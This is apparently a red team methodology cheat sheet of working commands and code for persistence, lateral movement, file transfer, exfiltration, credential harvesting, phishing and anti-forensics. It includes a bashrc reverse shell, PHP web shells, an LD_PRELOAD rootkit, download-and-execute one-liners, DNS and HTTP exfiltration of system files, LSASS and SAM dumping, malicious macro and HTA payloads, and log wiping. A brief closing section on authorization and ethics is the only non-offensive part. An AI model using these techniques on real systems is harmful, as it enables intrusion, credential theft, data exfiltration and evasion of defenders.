## Red Team Methodology
|
||||
|
||||
### 1. Establishing Persistence
|
||||
|
||||
**Windows Persistence:**
|
||||
```powershell
|
||||
# Registry run keys
|
||||
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Windows\Temp\backdoor.exe" /f
|
||||
|
||||
# Scheduled task
|
||||
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\backdoor.exe" /sc onlogon /ru SYSTEM
|
||||
|
||||
# Service creation
|
||||
sc create "WindowsUpdate" binpath= "C:\Windows\Temp\backdoor.exe" start= auto
|
||||
sc start "WindowsUpdate"
|
||||
|
||||
# WMI subscription
|
||||
$Filter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{Name="Filter";EventNameSpace="root\cimv2";QueryLanguage="WQL";Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"}
|
||||
$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name="Consumer";CommandLineTemplate="C:\Windows\Temp\backdoor.exe"}
|
||||
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$Filter;Consumer=$Consumer}
|
||||
|
||||
# Startup folder
|
||||
copy C:\Windows\Temp\backdoor.exe "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\updater.exe"
|
||||
```
|
||||
|
||||
**Linux Persistence:**
|
||||
```bash
|
||||
# Cron job
|
||||
echo "*/5 * * * * /tmp/.backdoor" | crontab -
|
||||
# Or persistent across reboots
|
||||
echo "@reboot /tmp/.backdoor" | crontab -
|
||||
|
||||
# Systemd service
|
||||
cat > /etc/systemd/system/backdoor.service <<EOF
|
||||
[Unit]
|
||||
Description=System Update Service
|
||||
After=network.target
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
ExecStart=/tmp/.backdoor
|
||||
Restart=always
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
EOF
|
||||
systemctl enable backdoor.service
|
||||
systemctl start backdoor.service
|
||||
|
||||
# SSH key
|
||||
mkdir -p ~/.ssh
|
||||
echo "ssh-rsa AAAAB3... attacker@kali" >> ~/.ssh/authorized_keys
|
||||
chmod 600 ~/.ssh/authorized_keys
|
||||
|
||||
# Bashrc backdoor
|
||||
echo "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1 &" >> ~/.bashrc
|
||||
|
||||
# LD_PRELOAD rootkit
|
||||
# Create malicious library
|
||||
gcc -shared -fPIC -o evil.so evil.c
|
||||
echo "/path/to/evil.so" > /etc/ld.so.preload
|
||||
```
|
||||
|
||||
**Web Shells:**
|
||||
```php
|
||||
# Simple PHP web shell
|
||||
<?php system($_GET['cmd']); ?>
|
||||
|
||||
# More advanced
|
||||
<?php
|
||||
if(isset($_REQUEST['cmd'])){
|
||||
echo "<pre>";
|
||||
$cmd = ($_REQUEST['cmd']);
|
||||
system($cmd);
|
||||
echo "</pre>";
|
||||
die;
|
||||
}
|
||||
?>
|
||||
```
|
||||
|
||||
### 2. Lateral Movement
|
||||
|
||||
**Pass-the-Hash:**
|
||||
```bash
|
||||
# Using Impacket
|
||||
impacket-psexec -hashes :ntlmhash domain/user@10.10.10.10
|
||||
impacket-wmiexec -hashes :ntlmhash domain/user@10.10.10.10
|
||||
impacket-smbexec -hashes :ntlmhash domain/user@10.10.10.10
|
||||
|
||||
# Using CrackMapExec
|
||||
crackmapexec smb 10.10.10.0/24 -u Administrator -H ntlmhash
|
||||
crackmapexec smb 10.10.10.10 -u Administrator -H ntlmhash -x "whoami"
|
||||
```
|
||||
|
||||
**Pass-the-Ticket:**
|
||||
```powershell
|
||||
# With Rubeus
|
||||
Rubeus.exe asktgt /user:Administrator /rc4:ntlmhash /ptt
|
||||
Rubeus.exe ptt /ticket:ticket.kirbi
|
||||
|
||||
# With Mimikatz
|
||||
mimikatz.exe "sekurlsa::tickets /export" exit
|
||||
mimikatz.exe "kerberos::ptt ticket.kirbi" exit
|
||||
```
|
||||
|
||||
**WMI/DCOM:**
|
||||
```powershell
|
||||
# WMI command execution
|
||||
wmic /node:10.10.10.10 /user:domain\user /password:pass process call create "cmd.exe /c calc.exe"
|
||||
|
||||
# PowerShell WMI
|
||||
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "powershell.exe" -ComputerName 10.10.10.10 -Credential (Get-Credential)
|
||||
|
||||
# DCOM
|
||||
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.10"))
|
||||
$com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c calc.exe","Minimized")
|
||||
```
|
||||
|
||||
**PowerShell Remoting:**
|
||||
```powershell
|
||||
# Enable on target
|
||||
Enable-PSRemoting -Force
|
||||
|
||||
# From attacker
|
||||
$Session = New-PSSession -ComputerName 10.10.10.10 -Credential (Get-Credential)
|
||||
Invoke-Command -Session $Session -ScriptBlock { whoami }
|
||||
Enter-PSSession -Session $Session
|
||||
|
||||
# Execute script
|
||||
Invoke-Command -ComputerName 10.10.10.10 -FilePath script.ps1
|
||||
```
|
||||
|
||||
### 3. File Transfer Techniques
|
||||
|
||||
**Windows Download:**
|
||||
```powershell
|
||||
# PowerShell
|
||||
(New-Object Net.WebClient).DownloadFile("http://10.10.10.10/file.exe","C:\Temp\file.exe")
|
||||
IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/script.ps1')
|
||||
|
||||
# certutil
|
||||
certutil -urlcache -f http://10.10.10.10/file.exe file.exe
|
||||
|
||||
# bitsadmin
|
||||
bitsadmin /transfer job /download /priority high http://10.10.10.10/file.exe C:\Temp\file.exe
|
||||
```
|
||||
|
||||
**Linux Download:**
|
||||
```bash
|
||||
# wget
|
||||
wget http://10.10.10.10/file -O /tmp/file
|
||||
|
||||
# curl
|
||||
curl http://10.10.10.10/file -o /tmp/file
|
||||
|
||||
# Execute in memory
|
||||
curl http://10.10.10.10/script.sh | bash
|
||||
wget -qO- http://10.10.10.10/script.sh | bash
|
||||
```
|
||||
|
||||
**SMB Transfer:**
|
||||
```bash
|
||||
# Start SMB server (attacker)
|
||||
sudo impacket-smbserver share /tmp/share -smb2support
|
||||
|
||||
# Access from Windows target
|
||||
copy \\10.10.10.10\share\tool.exe C:\Temp\
|
||||
\\10.10.10.10\share\tool.exe
|
||||
```
|
||||
|
||||
**Exfiltration:**
|
||||
```bash
|
||||
# HTTP POST
|
||||
curl -X POST -F "file=@/etc/passwd" http://10.10.10.10:8000/upload
|
||||
|
||||
# DNS exfiltration
|
||||
for data in $(cat secret.txt | base64 | tr -d '=' | fold -w 32); do
|
||||
dig $data.attacker.com @dns-server
|
||||
done
|
||||
|
||||
# ICMP exfiltration
|
||||
cat file.txt | xxd -p -c 16 | while read line; do
|
||||
ping -c 1 -p $line 10.10.10.10
|
||||
done
|
||||
```
|
||||
|
||||
### 4. Credential Harvesting
|
||||
|
||||
**Windows Credentials:**
|
||||
```powershell
|
||||
# Mimikatz
|
||||
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
|
||||
mimikatz.exe "lsadump::sam" exit
|
||||
mimikatz.exe "lsadump::secrets" exit
|
||||
|
||||
# Without Mimikatz
|
||||
# Dump LSASS
|
||||
procdump64.exe -ma lsass.exe lsass.dmp
|
||||
# Parse offline with pypykatz
|
||||
pypykatz lsa minidump lsass.dmp
|
||||
|
||||
# SAM/SYSTEM hives
|
||||
reg save HKLM\SAM sam.hive
|
||||
reg save HKLM\SYSTEM system.hive
|
||||
# Extract with secretsdump
|
||||
impacket-secretsdump -sam sam.hive -system system.hive LOCAL
|
||||
```
|
||||
|
||||
**Linux Credentials:**
|
||||
```bash
|
||||
# Shadow file
|
||||
cat /etc/shadow
|
||||
|
||||
# SSH keys
|
||||
find / -name id_rsa 2>/dev/null
|
||||
find / -name authorized_keys 2>/dev/null
|
||||
|
||||
# Browser passwords
|
||||
# Firefox
|
||||
find ~/.mozilla/firefox -name "logins.json"
|
||||
# Chrome
|
||||
find ~/.config/google-chrome -name "Login Data"
|
||||
|
||||
# History files
|
||||
cat ~/.bash_history | grep -i password
|
||||
cat ~/.mysql_history
|
||||
```
|
||||
|
||||
**Network Credentials:**
|
||||
```bash
|
||||
# Responder (LLMNR/NBT-NS poisoning)
|
||||
sudo responder -I eth0 -wrf
|
||||
|
||||
# Inveigh (PowerShell)
|
||||
Invoke-Inveigh -ConsoleOutput Y
|
||||
|
||||
# Capture hashes and crack
|
||||
hashcat -m 5600 hashes.txt wordlist.txt
|
||||
```
|
||||
|
||||
### 5. Phishing Operations
|
||||
|
||||
**Gophish Setup:**
|
||||
```bash
|
||||
# Install Gophish
|
||||
wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip
|
||||
unzip gophish-v0.12.1-linux-64bit.zip
|
||||
# Configure and run
|
||||
./gophish
|
||||
# Access at https://localhost:3333
|
||||
```
|
||||
|
||||
**Social Engineering Toolkit (SET):**
|
||||
```bash
|
||||
# Launch SET
|
||||
setoolkit
|
||||
|
||||
# Common attacks:
|
||||
# 1) Credential harvester
|
||||
# 2) Infectious media generator
|
||||
# 3) Tabnabbing attack
|
||||
# 4) Multi-attack web method
|
||||
```
|
||||
|
||||
**Phishing Payloads:**
|
||||
```vbscript
|
||||
' Malicious macro
|
||||
Sub AutoOpen()
|
||||
Shell "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/payload.ps1')"
|
||||
End Sub
|
||||
```
|
||||
|
||||
```html
|
||||
<!-- HTA payload -->
|
||||
<html>
|
||||
<head>
|
||||
<script language="VBScript">
|
||||
Set objShell = CreateObject("WScript.Shell")
|
||||
objShell.Run "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/shell.ps1')"
|
||||
window.close()
|
||||
</script>
|
||||
</head>
|
||||
</html>
|
||||
```
|
||||
|
||||
### 6. Operational Security
|
||||
|
||||
**Anti-Forensics:**
|
||||
```powershell
|
||||
# Clear Windows event logs
|
||||
wevtutil cl System
|
||||
wevtutil cl Security
|
||||
wevtutil cl Application
|
||||
|
||||
# PowerShell history
|
||||
Remove-Item (Get-PSReadlineOption).HistorySavePath
|
||||
|
||||
# Timestomp (Metasploit)
|
||||
timestomp file.exe -m "01/01/2020 12:00:00"
|
||||
```
|
||||
|
||||
```bash
|
||||
# Clear Linux logs
|
||||
echo "" > /var/log/auth.log
|
||||
echo "" > /var/log/syslog
|
||||
echo "" > ~/.bash_history
|
||||
history -c
|
||||
|
||||
# Disable history
|
||||
unset HISTFILE
|
||||
export HISTSIZE=0
|
||||
```
|
||||
|
||||
**Detection Evasion:**
|
||||
```bash
|
||||
# Obfuscate PowerShell
|
||||
# Use Invoke-Obfuscation
|
||||
Invoke-Obfuscation
|
||||
# Encode commands
|
||||
$command = "whoami"
|
||||
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
|
||||
$encoded = [Convert]::ToBase64String($bytes)
|
||||
powershell -enc $encoded
|
||||
|
||||
# AV evasion
|
||||
# Use Veil, Shellter, or custom packers
|
||||
```
|
||||

|
||||
✅ Educational red team training
|
||||
|
||||
**Prohibited Activities:**
|
||||
❌ Unauthorized access to systems
|
||||
❌ Destructive actions without approval
|
||||
❌ Data exfiltration of real sensitive data
|
||||
❌ Compromising production systems without authorization

||||
❌ Social engineering without explicit permission
|
||||
|
||||
## Ethical Considerations
|
||||
|
||||
Red team operations require:
|
||||
- Signed statement of work with clear scope
|
||||
- Defined rules of engagement
|
||||
- Emergency contact procedures
|
||||
- Data handling agreements
|
||||
- Legal review and approval
|
||||
- Liability and indemnification clauses
|
||||
|
||||
Always ensure proper authorization, scope definition, and legal compliance before red team activities.
